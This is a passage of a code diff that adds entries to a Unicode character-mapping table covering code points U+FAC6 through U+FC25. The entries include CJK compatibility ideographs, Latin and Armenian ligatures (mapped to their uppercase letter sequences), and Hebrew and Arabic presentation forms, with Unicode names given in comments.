+ ["\uFAC6", "\uFAC6"], /* CJK COMPATIBILITY IDEOGRAPH-FAC6 */
+ ["\uFAC7", "\uFAC7"], /* CJK COMPATIBILITY IDEOGRAPH-FAC7 */
+ ["\uFAC8", "\uFAC8"], /* CJK COMPATIBILITY IDEOGRAPH-FAC8 */
+ ["\uFAC9", "\uFAC9"], /* CJK COMPATIBILITY IDEOGRAPH-FAC9 */
+ ["\uFACA", "\uFACA"], /* CJK COMPATIBILITY IDEOGRAPH-FACA */
+ ["\uFACB", "\uFACB"], /* CJK COMPATIBILITY IDEOGRAPH-FACB */
+ ["\uFACC", "\uFACC"], /* CJK COMPATIBILITY IDEOGRAPH-FACC */
+ ["\uFACD", "\uFACD"], /* CJK COMPATIBILITY IDEOGRAPH-FACD */
+ ["\uFACE", "\uFACE"], /* CJK COMPATIBILITY IDEOGRAPH-FACE */
+ ["\uFACF", "\uFACF"], /* CJK COMPATIBILITY IDEOGRAPH-FACF */
+ ["\uFAD0", "\uFAD0"], /* CJK COMPATIBILITY IDEOGRAPH-FAD0 */
+ ["\uFAD1", "\uFAD1"], /* CJK COMPATIBILITY IDEOGRAPH-FAD1 */
+ ["\uFAD2", "\uFAD2"], /* CJK COMPATIBILITY IDEOGRAPH-FAD2 */
+ ["\uFAD3", "\uFAD3"], /* CJK COMPATIBILITY IDEOGRAPH-FAD3 */
+ ["\uFAD4", "\uFAD4"], /* CJK COMPATIBILITY IDEOGRAPH-FAD4 */
+ ["\uFAD5", "\uFAD5"], /* CJK COMPATIBILITY IDEOGRAPH-FAD5 */
+ ["\uFAD6", "\uFAD6"], /* CJK COMPATIBILITY IDEOGRAPH-FAD6 */
+ ["\uFAD7", "\uFAD7"], /* CJK COMPATIBILITY IDEOGRAPH-FAD7 */
+ ["\uFAD8", "\uFAD8"], /* CJK COMPATIBILITY IDEOGRAPH-FAD8 */
+ ["\uFAD9", "\uFAD9"], /* CJK COMPATIBILITY IDEOGRAPH-FAD9 */
+ ["\uFADA", "\uFADA"],
+ ["\uFADB", "\uFADB"],
+ ["\uFADC", "\uFADC"],
+ ["\uFADD", "\uFADD"],
+ ["\uFADE", "\uFADE"],
+ ["\uFADF", "\uFADF"],
+ ["\uFAE0", "\uFAE0"],
+ ["\uFAE1", "\uFAE1"],
+ ["\uFAE2", "\uFAE2"],
+ ["\uFAE3", "\uFAE3"],
+ ["\uFAE4", "\uFAE4"],
+ ["\uFAE5", "\uFAE5"],
+ ["\uFAE6", "\uFAE6"],
+ ["\uFAE7", "\uFAE7"],
+ ["\uFAE8", "\uFAE8"],
+ ["\uFAE9", "\uFAE9"],
+ ["\uFAEA", "\uFAEA"],
+ ["\uFAEB", "\uFAEB"],
+ ["\uFAEC", "\uFAEC"],
+ ["\uFAED", "\uFAED"],
+ ["\uFAEE", "\uFAEE"],
+ ["\uFAEF", "\uFAEF"],
+ ["\uFAF0", "\uFAF0"],
+ ["\uFAF1", "\uFAF1"],
+ ["\uFAF2", "\uFAF2"],
+ ["\uFAF3", "\uFAF3"],
+ ["\uFAF4", "\uFAF4"],
+ ["\uFAF5", "\uFAF5"],
+ ["\uFAF6", "\uFAF6"],
+ ["\uFAF7", "\uFAF7"],
+ ["\uFAF8", "\uFAF8"],
+ ["\uFAF9", "\uFAF9"],
+ ["\uFAFA", "\uFAFA"],
+ ["\uFAFB", "\uFAFB"],
+ ["\uFAFC", "\uFAFC"],
+ ["\uFAFD", "\uFAFD"],
+ ["\uFAFE", "\uFAFE"],
+ ["\uFAFF", "\uFAFF"],
+ ["\u0046\u0046", "\uFB00"], /* LATIN SMALL LIGATURE FF */
+ ["\u0046\u0049", "\uFB01"], /* LATIN SMALL LIGATURE FI */
+ ["\u0046\u004C", "\uFB02"], /* LATIN SMALL LIGATURE FL */
+ ["\u0046\u0046\u0049", "\uFB03"], /* LATIN SMALL LIGATURE FFI */
+ ["\u0046\u0046\u004C", "\uFB04"], /* LATIN SMALL LIGATURE FFL */
+ ["\u0053\u0054", "\uFB05"], /* LATIN SMALL LIGATURE LONG S T */
+ ["\u0053\u0054", "\uFB06"], /* LATIN SMALL LIGATURE ST */
+ ["\uFB07", "\uFB07"],
+ ["\uFB08", "\uFB08"],
+ ["\uFB09", "\uFB09"],
+ ["\uFB0A", "\uFB0A"],
+ ["\uFB0B", "\uFB0B"],
+ ["\uFB0C", "\uFB0C"],
+ ["\uFB0D", "\uFB0D"],
+ ["\uFB0E", "\uFB0E"],
+ ["\uFB0F", "\uFB0F"],
+ ["\uFB10", "\uFB10"],
+ ["\uFB11", "\uFB11"],
+ ["\uFB12", "\uFB12"],
+ ["\u0544\u0546", "\uFB13"], /* ARMENIAN SMALL LIGATURE MEN NOW */
+ ["\u0544\u0535", "\uFB14"], /* ARMENIAN SMALL LIGATURE MEN ECH */
+ ["\u0544\u053B", "\uFB15"], /* ARMENIAN SMALL LIGATURE MEN INI */
+ ["\u054E\u0546", "\uFB16"], /* ARMENIAN SMALL LIGATURE VEW NOW */
+ ["\u0544\u053D", "\uFB17"], /* ARMENIAN SMALL LIGATURE MEN XEH */
+ ["\uFB18", "\uFB18"],
+ ["\uFB19", "\uFB19"],
+ ["\uFB1A", "\uFB1A"],
+ ["\uFB1B", "\uFB1B"],
+ ["\uFB1C", "\uFB1C"],
+ ["\uFB1D", "\uFB1D"], /* HEBREW LETTER YOD WITH HIRIQ */
+ ["\uFB1E", "\uFB1E"], /* HEBREW POINT JUDEO-SPANISH VARIKA (HEBREW POINT VARIKA) */
+ ["\uFB1F", "\uFB1F"], /* HEBREW LIGATURE YIDDISH YOD YOD PATAH */
+ ["\uFB20", "\uFB20"], /* HEBREW LETTER ALTERNATIVE AYIN */
+ ["\uFB21", "\uFB21"], /* HEBREW LETTER WIDE ALEF */
+ ["\uFB22", "\uFB22"], /* HEBREW LETTER WIDE DALET */
+ ["\uFB23", "\uFB23"], /* HEBREW LETTER WIDE HE */
+ ["\uFB24", "\uFB24"], /* HEBREW LETTER WIDE KAF */
+ ["\uFB25", "\uFB25"], /* HEBREW LETTER WIDE LAMED */
+ ["\uFB26", "\uFB26"], /* HEBREW LETTER WIDE FINAL MEM */
+ ["\uFB27", "\uFB27"], /* HEBREW LETTER WIDE RESH */
+ ["\uFB28", "\uFB28"], /* HEBREW LETTER WIDE TAV */
+ ["\uFB29", "\uFB29"], /* HEBREW LETTER ALTERNATIVE PLUS SIGN */
+ ["\uFB2A", "\uFB2A"], /* HEBREW LETTER SHIN WITH SHIN DOT */
+ ["\uFB2B", "\uFB2B"], /* HEBREW LETTER SHIN WITH SIN DOT */
+ ["\uFB2C", "\uFB2C"], /* HEBREW LETTER SHIN WITH DAGESH AND SHIN DOT */
+ ["\uFB2D", "\uFB2D"], /* HEBREW LETTER SHIN WITH DAGESH AND SIN DOT */
+ ["\uFB2E", "\uFB2E"], /* HEBREW LETTER ALEF WITH PATAH */
+ ["\uFB2F", "\uFB2F"], /* HEBREW LETTER ALEF WITH QAMATS */
+ ["\uFB30", "\uFB30"], /* HEBREW LETTER ALEF WITH MAPIQ */
+ ["\uFB31", "\uFB31"], /* HEBREW LETTER BET WITH DAGESH */
+ ["\uFB32", "\uFB32"], /* HEBREW LETTER GIMEL WITH DAGESH */
+ ["\uFB33", "\uFB33"], /* HEBREW LETTER DALET WITH DAGESH */
+ ["\uFB34", "\uFB34"], /* HEBREW LETTER HE WITH MAPIQ */
+ ["\uFB35", "\uFB35"], /* HEBREW LETTER VAV WITH DAGESH */
+ ["\uFB36", "\uFB36"], /* HEBREW LETTER ZAYIN WITH DAGESH */
+ ["\uFB37", "\uFB37"],
+ ["\uFB38", "\uFB38"], /* HEBREW LETTER TET WITH DAGESH */
+ ["\uFB39", "\uFB39"], /* HEBREW LETTER YOD WITH DAGESH */
+ ["\uFB3A", "\uFB3A"], /* HEBREW LETTER FINAL KAF WITH DAGESH */
+ ["\uFB3B", "\uFB3B"], /* HEBREW LETTER KAF WITH DAGESH */
+ ["\uFB3C", "\uFB3C"], /* HEBREW LETTER LAMED WITH DAGESH */
+ ["\uFB3D", "\uFB3D"],
+ ["\uFB3E", "\uFB3E"], /* HEBREW LETTER MEM WITH DAGESH */
+ ["\uFB3F", "\uFB3F"],
+ ["\uFB40", "\uFB40"], /* HEBREW LETTER NUN WITH DAGESH */
+ ["\uFB41", "\uFB41"], /* HEBREW LETTER SAMEKH WITH DAGESH */
+ ["\uFB42", "\uFB42"],
+ ["\uFB43", "\uFB43"], /* HEBREW LETTER FINAL PE WITH DAGESH */
+ ["\uFB44", "\uFB44"], /* HEBREW LETTER PE WITH DAGESH */
+ ["\uFB45", "\uFB45"],
+ ["\uFB46", "\uFB46"], /* HEBREW LETTER TSADI WITH DAGESH */
+ ["\uFB47", "\uFB47"], /* HEBREW LETTER QOF WITH DAGESH */
+ ["\uFB48", "\uFB48"], /* HEBREW LETTER RESH WITH DAGESH */
+ ["\uFB49", "\uFB49"], /* HEBREW LETTER SHIN WITH DAGESH */
+ ["\uFB4A", "\uFB4A"], /* HEBREW LETTER TAV WITH DAGESH */
+ ["\uFB4B", "\uFB4B"], /* HEBREW LETTER VAV WITH HOLAM */
+ ["\uFB4C", "\uFB4C"], /* HEBREW LETTER BET WITH RAFE */
+ ["\uFB4D", "\uFB4D"], /* HEBREW LETTER KAF WITH RAFE */
+ ["\uFB4E", "\uFB4E"], /* HEBREW LETTER PE WITH RAFE */
+ ["\uFB4F", "\uFB4F"], /* HEBREW LIGATURE ALEF LAMED */
+ ["\uFB50", "\uFB50"], /* ARABIC LETTER ALEF WASLA ISOLATED FORM */
+ ["\uFB51", "\uFB51"], /* ARABIC LETTER ALEF WASLA FINAL FORM */
+ ["\uFB52", "\uFB52"], /* ARABIC LETTER BEEH ISOLATED FORM */
+ ["\uFB53", "\uFB53"], /* ARABIC LETTER BEEH FINAL FORM */
+ ["\uFB54", "\uFB54"], /* ARABIC LETTER BEEH INITIAL FORM */
+ ["\uFB55", "\uFB55"], /* ARABIC LETTER BEEH MEDIAL FORM */
+ ["\uFB56", "\uFB56"], /* ARABIC LETTER PEH ISOLATED FORM */
+ ["\uFB57", "\uFB57"], /* ARABIC LETTER PEH FINAL FORM */
+ ["\uFB58", "\uFB58"], /* ARABIC LETTER PEH INITIAL FORM */
+ ["\uFB59", "\uFB59"], /* ARABIC LETTER PEH MEDIAL FORM */
+ ["\uFB5A", "\uFB5A"], /* ARABIC LETTER BEHEH ISOLATED FORM */
+ ["\uFB5B", "\uFB5B"], /* ARABIC LETTER BEHEH FINAL FORM */
+ ["\uFB5C", "\uFB5C"], /* ARABIC LETTER BEHEH INITIAL FORM */
+ ["\uFB5D", "\uFB5D"], /* ARABIC LETTER BEHEH MEDIAL FORM */
+ ["\uFB5E", "\uFB5E"], /* ARABIC LETTER TTEHEH ISOLATED FORM */
+ ["\uFB5F", "\uFB5F"], /* ARABIC LETTER TTEHEH FINAL FORM */
+ ["\uFB60", "\uFB60"], /* ARABIC LETTER TTEHEH INITIAL FORM */
+ ["\uFB61", "\uFB61"], /* ARABIC LETTER TTEHEH MEDIAL FORM */
+ ["\uFB62", "\uFB62"], /* ARABIC LETTER TEHEH ISOLATED FORM */
+ ["\uFB63", "\uFB63"], /* ARABIC LETTER TEHEH FINAL FORM */
+ ["\uFB64", "\uFB64"], /* ARABIC LETTER TEHEH INITIAL FORM */
+ ["\uFB65", "\uFB65"], /* ARABIC LETTER TEHEH MEDIAL FORM */
+ ["\uFB66", "\uFB66"], /* ARABIC LETTER TTEH ISOLATED FORM */
+ ["\uFB67", "\uFB67"], /* ARABIC LETTER TTEH FINAL FORM */
+ ["\uFB68", "\uFB68"], /* ARABIC LETTER TTEH INITIAL FORM */
+ ["\uFB69", "\uFB69"], /* ARABIC LETTER TTEH MEDIAL FORM */
+ ["\uFB6A", "\uFB6A"], /* ARABIC LETTER VEH ISOLATED FORM */
+ ["\uFB6B", "\uFB6B"], /* ARABIC LETTER VEH FINAL FORM */
+ ["\uFB6C", "\uFB6C"], /* ARABIC LETTER VEH INITIAL FORM */
+ ["\uFB6D", "\uFB6D"], /* ARABIC LETTER VEH MEDIAL FORM */
+ ["\uFB6E", "\uFB6E"], /* ARABIC LETTER PEHEH ISOLATED FORM */
+ ["\uFB6F", "\uFB6F"], /* ARABIC LETTER PEHEH FINAL FORM */
+ ["\uFB70", "\uFB70"], /* ARABIC LETTER PEHEH INITIAL FORM */
+ ["\uFB71", "\uFB71"], /* ARABIC LETTER PEHEH MEDIAL FORM */
+ ["\uFB72", "\uFB72"], /* ARABIC LETTER DYEH ISOLATED FORM */
+ ["\uFB73", "\uFB73"], /* ARABIC LETTER DYEH FINAL FORM */
+ ["\uFB74", "\uFB74"], /* ARABIC LETTER DYEH INITIAL FORM */
+ ["\uFB75", "\uFB75"], /* ARABIC LETTER DYEH MEDIAL FORM */
+ ["\uFB76", "\uFB76"], /* ARABIC LETTER NYEH ISOLATED FORM */
+ ["\uFB77", "\uFB77"], /* ARABIC LETTER NYEH FINAL FORM */
+ ["\uFB78", "\uFB78"], /* ARABIC LETTER NYEH INITIAL FORM */
+ ["\uFB79", "\uFB79"], /* ARABIC LETTER NYEH MEDIAL FORM */
+ ["\uFB7A", "\uFB7A"], /* ARABIC LETTER TCHEH ISOLATED FORM */
+ ["\uFB7B", "\uFB7B"], /* ARABIC LETTER TCHEH FINAL FORM */
+ ["\uFB7C", "\uFB7C"], /* ARABIC LETTER TCHEH INITIAL FORM */
+ ["\uFB7D", "\uFB7D"], /* ARABIC LETTER TCHEH MEDIAL FORM */
+ ["\uFB7E", "\uFB7E"], /* ARABIC LETTER TCHEHEH ISOLATED FORM */
+ ["\uFB7F", "\uFB7F"], /* ARABIC LETTER TCHEHEH FINAL FORM */
+ ["\uFB80", "\uFB80"], /* ARABIC LETTER TCHEHEH INITIAL FORM */
+ ["\uFB81", "\uFB81"], /* ARABIC LETTER TCHEHEH MEDIAL FORM */
+ ["\uFB82", "\uFB82"], /* ARABIC LETTER DDAHAL ISOLATED FORM */
+ ["\uFB83", "\uFB83"], /* ARABIC LETTER DDAHAL FINAL FORM */
+ ["\uFB84", "\uFB84"], /* ARABIC LETTER DAHAL ISOLATED FORM */
+ ["\uFB85", "\uFB85"], /* ARABIC LETTER DAHAL FINAL FORM */
+ ["\uFB86", "\uFB86"], /* ARABIC LETTER DUL ISOLATED FORM */
+ ["\uFB87", "\uFB87"], /* ARABIC LETTER DUL FINAL FORM */
+ ["\uFB88", "\uFB88"], /* ARABIC LETTER DDAL ISOLATED FORM */
+ ["\uFB89", "\uFB89"], /* ARABIC LETTER DDAL FINAL FORM */
+ ["\uFB8A", "\uFB8A"], /* ARABIC LETTER JEH ISOLATED FORM */
+ ["\uFB8B", "\uFB8B"], /* ARABIC LETTER JEH FINAL FORM */
+ ["\uFB8C", "\uFB8C"], /* ARABIC LETTER RREH ISOLATED FORM */
+ ["\uFB8D", "\uFB8D"], /* ARABIC LETTER RREH FINAL FORM */
+ ["\uFB8E", "\uFB8E"], /* ARABIC LETTER KEHEH ISOLATED FORM */
+ ["\uFB8F", "\uFB8F"], /* ARABIC LETTER KEHEH FINAL FORM */
+ ["\uFB90", "\uFB90"], /* ARABIC LETTER KEHEH INITIAL FORM */
+ ["\uFB91", "\uFB91"], /* ARABIC LETTER KEHEH MEDIAL FORM */
+ ["\uFB92", "\uFB92"], /* ARABIC LETTER GAF ISOLATED FORM */
+ ["\uFB93", "\uFB93"], /* ARABIC LETTER GAF FINAL FORM */
+ ["\uFB94", "\uFB94"], /* ARABIC LETTER GAF INITIAL FORM */
+ ["\uFB95", "\uFB95"], /* ARABIC LETTER GAF MEDIAL FORM */
+ ["\uFB96", "\uFB96"], /* ARABIC LETTER GUEH ISOLATED FORM */
+ ["\uFB97", "\uFB97"], /* ARABIC LETTER GUEH FINAL FORM */
+ ["\uFB98", "\uFB98"], /* ARABIC LETTER GUEH INITIAL FORM */
+ ["\uFB99", "\uFB99"], /* ARABIC LETTER GUEH MEDIAL FORM */
+ ["\uFB9A", "\uFB9A"], /* ARABIC LETTER NGOEH ISOLATED FORM */
+ ["\uFB9B", "\uFB9B"], /* ARABIC LETTER NGOEH FINAL FORM */
+ ["\uFB9C", "\uFB9C"], /* ARABIC LETTER NGOEH INITIAL FORM */
+ ["\uFB9D", "\uFB9D"], /* ARABIC LETTER NGOEH MEDIAL FORM */
+ ["\uFB9E", "\uFB9E"], /* ARABIC LETTER NOON GHUNNA ISOLATED FORM */
+ ["\uFB9F", "\uFB9F"], /* ARABIC LETTER NOON GHUNNA FINAL FORM */
+ ["\uFBA0", "\uFBA0"], /* ARABIC LETTER RNOON ISOLATED FORM */
+ ["\uFBA1", "\uFBA1"], /* ARABIC LETTER RNOON FINAL FORM */
+ ["\uFBA2", "\uFBA2"], /* ARABIC LETTER RNOON INITIAL FORM */
+ ["\uFBA3", "\uFBA3"], /* ARABIC LETTER RNOON MEDIAL FORM */
+ ["\uFBA4", "\uFBA4"], /* ARABIC LETTER HEH WITH YEH ABOVE ISOLATED FORM */
+ ["\uFBA5", "\uFBA5"], /* ARABIC LETTER HEH WITH YEH ABOVE FINAL FORM */
+ ["\uFBA6", "\uFBA6"], /* ARABIC LETTER HEH GOAL ISOLATED FORM */
+ ["\uFBA7", "\uFBA7"], /* ARABIC LETTER HEH GOAL FINAL FORM */
+ ["\uFBA8", "\uFBA8"], /* ARABIC LETTER HEH GOAL INITIAL FORM */
+ ["\uFBA9", "\uFBA9"], /* ARABIC LETTER HEH GOAL MEDIAL FORM */
+ ["\uFBAA", "\uFBAA"], /* ARABIC LETTER HEH DOACHASHMEE ISOLATED FORM */
+ ["\uFBAB", "\uFBAB"], /* ARABIC LETTER HEH DOACHASHMEE FINAL FORM */
+ ["\uFBAC", "\uFBAC"], /* ARABIC LETTER HEH DOACHASHMEE INITIAL FORM */
+ ["\uFBAD", "\uFBAD"], /* ARABIC LETTER HEH DOACHASHMEE MEDIAL FORM */
+ ["\uFBAE", "\uFBAE"], /* ARABIC LETTER YEH BARREE ISOLATED FORM */
+ ["\uFBAF", "\uFBAF"], /* ARABIC LETTER YEH BARREE FINAL FORM */
+ ["\uFBB0", "\uFBB0"], /* ARABIC LETTER YEH BARREE WITH HAMZA ABOVE ISOLATED FORM */
+ ["\uFBB1", "\uFBB1"], /* ARABIC LETTER YEH BARREE WITH HAMZA ABOVE FINAL FORM */
+ ["\uFBB2", "\uFBB2"], /* ARABIC SYMBOL DOT ABOVE */
+ ["\uFBB3", "\uFBB3"], /* ARABIC SYMBOL DOT BELOW */
+ ["\uFBB4", "\uFBB4"], /* ARABIC SYMBOL TWO DOTS ABOVE */
+ ["\uFBB5", "\uFBB5"], /* ARABIC SYMBOL TWO DOTS BELOW */
+ ["\uFBB6", "\uFBB6"], /* ARABIC SYMBOL THREE DOTS ABOVE */
+ ["\uFBB7", "\uFBB7"], /* ARABIC SYMBOL THREE DOTS BELOW */
+ ["\uFBB8", "\uFBB8"], /* ARABIC SYMBOL THREE DOTS POINTING DOWNWARDS ABOVE */
+ ["\uFBB9", "\uFBB9"], /* ARABIC SYMBOL THREE DOTS POINTING DOWNWARDS BELOW */
+ ["\uFBBA", "\uFBBA"], /* ARABIC SYMBOL FOUR DOTS ABOVE */
+ ["\uFBBB", "\uFBBB"], /* ARABIC SYMBOL FOUR DOTS BELOW */
+ ["\uFBBC", "\uFBBC"], /* ARABIC SYMBOL DOUBLE VERTICAL BAR BELOW */
+ ["\uFBBD", "\uFBBD"], /* ARABIC SYMBOL TWO DOTS VERTICALLY ABOVE */
+ ["\uFBBE", "\uFBBE"], /* ARABIC SYMBOL TWO DOTS VERTICALLY BELOW */
+ ["\uFBBF", "\uFBBF"], /* ARABIC SYMBOL RING */
+ ["\uFBC0", "\uFBC0"], /* ARABIC SYMBOL SMALL TAH ABOVE */
+ ["\uFBC1", "\uFBC1"], /* ARABIC SYMBOL SMALL TAH BELOW */
+ ["\uFBC2", "\uFBC2"],
+ ["\uFBC3", "\uFBC3"],
+ ["\uFBC4", "\uFBC4"],
+ ["\uFBC5", "\uFBC5"],
+ ["\uFBC6", "\uFBC6"],
+ ["\uFBC7", "\uFBC7"],
+ ["\uFBC8", "\uFBC8"],
+ ["\uFBC9", "\uFBC9"],
+ ["\uFBCA", "\uFBCA"],
+ ["\uFBCB", "\uFBCB"],
+ ["\uFBCC", "\uFBCC"],
+ ["\uFBCD", "\uFBCD"],
+ ["\uFBCE", "\uFBCE"],
+ ["\uFBCF", "\uFBCF"],
+ ["\uFBD0", "\uFBD0"],
+ ["\uFBD1", "\uFBD1"],
+ ["\uFBD2", "\uFBD2"],
+ ["\uFBD3", "\uFBD3"], /* ARABIC LETTER NG ISOLATED FORM */
+ ["\uFBD4", "\uFBD4"], /* ARABIC LETTER NG FINAL FORM */
+ ["\uFBD5", "\uFBD5"], /* ARABIC LETTER NG INITIAL FORM */
+ ["\uFBD6", "\uFBD6"], /* ARABIC LETTER NG MEDIAL FORM */
+ ["\uFBD7", "\uFBD7"], /* ARABIC LETTER U ISOLATED FORM */
+ ["\uFBD8", "\uFBD8"], /* ARABIC LETTER U FINAL FORM */
+ ["\uFBD9", "\uFBD9"], /* ARABIC LETTER OE ISOLATED FORM */
+ ["\uFBDA", "\uFBDA"], /* ARABIC LETTER OE FINAL FORM */
+ ["\uFBDB", "\uFBDB"], /* ARABIC LETTER YU ISOLATED FORM */
+ ["\uFBDC", "\uFBDC"], /* ARABIC LETTER YU FINAL FORM */
+ ["\uFBDD", "\uFBDD"], /* ARABIC LETTER U WITH HAMZA ABOVE ISOLATED FORM */
+ ["\uFBDE", "\uFBDE"], /* ARABIC LETTER VE ISOLATED FORM */
+ ["\uFBDF", "\uFBDF"], /* ARABIC LETTER VE FINAL FORM */
+ ["\uFBE0", "\uFBE0"], /* ARABIC LETTER KIRGHIZ OE ISOLATED FORM */
+ ["\uFBE1", "\uFBE1"], /* ARABIC LETTER KIRGHIZ OE FINAL FORM */
+ ["\uFBE2", "\uFBE2"], /* ARABIC LETTER KIRGHIZ YU ISOLATED FORM */
+ ["\uFBE3", "\uFBE3"], /* ARABIC LETTER KIRGHIZ YU FINAL FORM */
+ ["\uFBE4", "\uFBE4"], /* ARABIC LETTER E ISOLATED FORM */
+ ["\uFBE5", "\uFBE5"], /* ARABIC LETTER E FINAL FORM */
+ ["\uFBE6", "\uFBE6"], /* ARABIC LETTER E INITIAL FORM */
+ ["\uFBE7", "\uFBE7"], /* ARABIC LETTER E MEDIAL FORM */
+ ["\uFBE8", "\uFBE8"], /* ARABIC LETTER UIGHUR KAZAKH KIRGHIZ ALEF MAKSURA INITIAL FORM */
+ ["\uFBE9", "\uFBE9"], /* ARABIC LETTER UIGHUR KAZAKH KIRGHIZ ALEF MAKSURA MEDIAL FORM */
+ ["\uFBEA", "\uFBEA"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF ISOLATED FORM */
+ ["\uFBEB", "\uFBEB"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF FINAL FORM */
+ ["\uFBEC", "\uFBEC"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH AE ISOLATED FORM */
+ ["\uFBED", "\uFBED"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH AE FINAL FORM */
+ ["\uFBEE", "\uFBEE"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH WAW ISOLATED FORM */
+ ["\uFBEF", "\uFBEF"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH WAW FINAL FORM */
+ ["\uFBF0", "\uFBF0"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH U ISOLATED FORM */
+ ["\uFBF1", "\uFBF1"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH U FINAL FORM */
+ ["\uFBF2", "\uFBF2"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH OE ISOLATED FORM */
+ ["\uFBF3", "\uFBF3"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH OE FINAL FORM */
+ ["\uFBF4", "\uFBF4"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YU ISOLATED FORM */
+ ["\uFBF5", "\uFBF5"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YU FINAL FORM */
+ ["\uFBF6", "\uFBF6"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH E ISOLATED FORM */
+ ["\uFBF7", "\uFBF7"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH E FINAL FORM */
+ ["\uFBF8", "\uFBF8"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH E INITIAL FORM */
+ ["\uFBF9", "\uFBF9"], /* ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFBFA", "\uFBFA"], /* ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA FINAL FORM */
+ ["\uFBFB", "\uFBFB"], /* ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA INITIAL FORM */
+ ["\uFBFC", "\uFBFC"], /* ARABIC LETTER FARSI YEH ISOLATED FORM */
+ ["\uFBFD", "\uFBFD"], /* ARABIC LETTER FARSI YEH FINAL FORM */
+ ["\uFBFE", "\uFBFE"], /* ARABIC LETTER FARSI YEH INITIAL FORM */
+ ["\uFBFF", "\uFBFF"], /* ARABIC LETTER FARSI YEH MEDIAL FORM */
+ ["\uFC00", "\uFC00"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH JEEM ISOLATED FORM */
+ ["\uFC01", "\uFC01"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HAH ISOLATED FORM */
+ ["\uFC02", "\uFC02"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM ISOLATED FORM */
+ ["\uFC03", "\uFC03"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFC04", "\uFC04"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YEH ISOLATED FORM */
+ ["\uFC05", "\uFC05"], /* ARABIC LIGATURE BEH WITH JEEM ISOLATED FORM */
+ ["\uFC06", "\uFC06"], /* ARABIC LIGATURE BEH WITH HAH ISOLATED FORM */
+ ["\uFC07", "\uFC07"], /* ARABIC LIGATURE BEH WITH KHAH ISOLATED FORM */
+ ["\uFC08", "\uFC08"], /* ARABIC LIGATURE BEH WITH MEEM ISOLATED FORM */
+ ["\uFC09", "\uFC09"], /* ARABIC LIGATURE BEH WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFC0A", "\uFC0A"], /* ARABIC LIGATURE BEH WITH YEH ISOLATED FORM */
+ ["\uFC0B", "\uFC0B"], /* ARABIC LIGATURE TEH WITH JEEM ISOLATED FORM */
+ ["\uFC0C", "\uFC0C"], /* ARABIC LIGATURE TEH WITH HAH ISOLATED FORM */
+ ["\uFC0D", "\uFC0D"], /* ARABIC LIGATURE TEH WITH KHAH ISOLATED FORM */
+ ["\uFC0E", "\uFC0E"], /* ARABIC LIGATURE TEH WITH MEEM ISOLATED FORM */
+ ["\uFC0F", "\uFC0F"], /* ARABIC LIGATURE TEH WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFC10", "\uFC10"], /* ARABIC LIGATURE TEH WITH YEH ISOLATED FORM */
+ ["\uFC11", "\uFC11"], /* ARABIC LIGATURE THEH WITH JEEM ISOLATED FORM */
+ ["\uFC12", "\uFC12"], /* ARABIC LIGATURE THEH WITH MEEM ISOLATED FORM */
+ ["\uFC13", "\uFC13"], /* ARABIC LIGATURE THEH WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFC14", "\uFC14"], /* ARABIC LIGATURE THEH WITH YEH ISOLATED FORM */
+ ["\uFC15", "\uFC15"], /* ARABIC LIGATURE JEEM WITH HAH ISOLATED FORM */
+ ["\uFC16", "\uFC16"], /* ARABIC LIGATURE JEEM WITH MEEM ISOLATED FORM */
+ ["\uFC17", "\uFC17"], /* ARABIC LIGATURE HAH WITH JEEM ISOLATED FORM */
+ ["\uFC18", "\uFC18"], /* ARABIC LIGATURE HAH WITH MEEM ISOLATED FORM */
+ ["\uFC19", "\uFC19"], /* ARABIC LIGATURE KHAH WITH JEEM ISOLATED FORM */
+ ["\uFC1A", "\uFC1A"], /* ARABIC LIGATURE KHAH WITH HAH ISOLATED FORM */
+ ["\uFC1B", "\uFC1B"], /* ARABIC LIGATURE KHAH WITH MEEM ISOLATED FORM */
+ ["\uFC1C", "\uFC1C"], /* ARABIC LIGATURE SEEN WITH JEEM ISOLATED FORM */
+ ["\uFC1D", "\uFC1D"], /* ARABIC LIGATURE SEEN WITH HAH ISOLATED FORM */
+ ["\uFC1E", "\uFC1E"], /* ARABIC LIGATURE SEEN WITH KHAH ISOLATED FORM */
+ ["\uFC1F", "\uFC1F"], /* ARABIC LIGATURE SEEN WITH MEEM ISOLATED FORM */
+ ["\uFC20", "\uFC20"], /* ARABIC LIGATURE SAD WITH HAH ISOLATED FORM */
+ ["\uFC21", "\uFC21"], /* ARABIC LIGATURE SAD WITH MEEM ISOLATED FORM */
+ ["\uFC22", "\uFC22"], /* ARABIC LIGATURE DAD WITH JEEM ISOLATED FORM */
+ ["\uFC23", "\uFC23"], /* ARABIC LIGATURE DAD WITH HAH ISOLATED FORM */
+ ["\uFC24", "\uFC24"], /* ARABIC LIGATURE DAD WITH KHAH ISOLATED FORM */
+ ["\uFC25", "\uFC25"], /* ARABIC LIGATURE DAD WITH MEEM ISOLATED FORM */
